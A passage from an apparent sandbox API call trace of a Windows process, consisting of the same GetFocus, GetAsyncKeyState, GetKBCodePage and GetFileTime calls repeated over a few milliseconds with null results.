lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.026] GetKBCodePage () returned 0x1b5 [0248.026] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.026] GetFocus () returned 0x0 [0248.026] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.027] GetKBCodePage () returned 0x1b5 [0248.027] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.027] GetFocus () returned 0x0 [0248.027] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.028] GetKBCodePage () returned 0x1b5 [0248.028] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.028] GetFocus () returned 0x0 [0248.028] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.029] GetKBCodePage () returned 0x1b5 [0248.029] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.029] GetFocus () returned 0x0 [0248.029] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.030] GetAsyncKeyState (vKey=58) returned 0 [0248.030] GetKBCodePage () returned 0x1b5 [0248.030] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.030] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.031] GetKBCodePage () returned 0x1b5 [0248.031] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.031] GetFocus () returned 0x0 [0248.031] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.032] GetFocus () returned 0x0 [0248.032] GetAsyncKeyState (vKey=58) returned 0 [0248.032] GetKBCodePage () returned 0x1b5 [0248.032] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 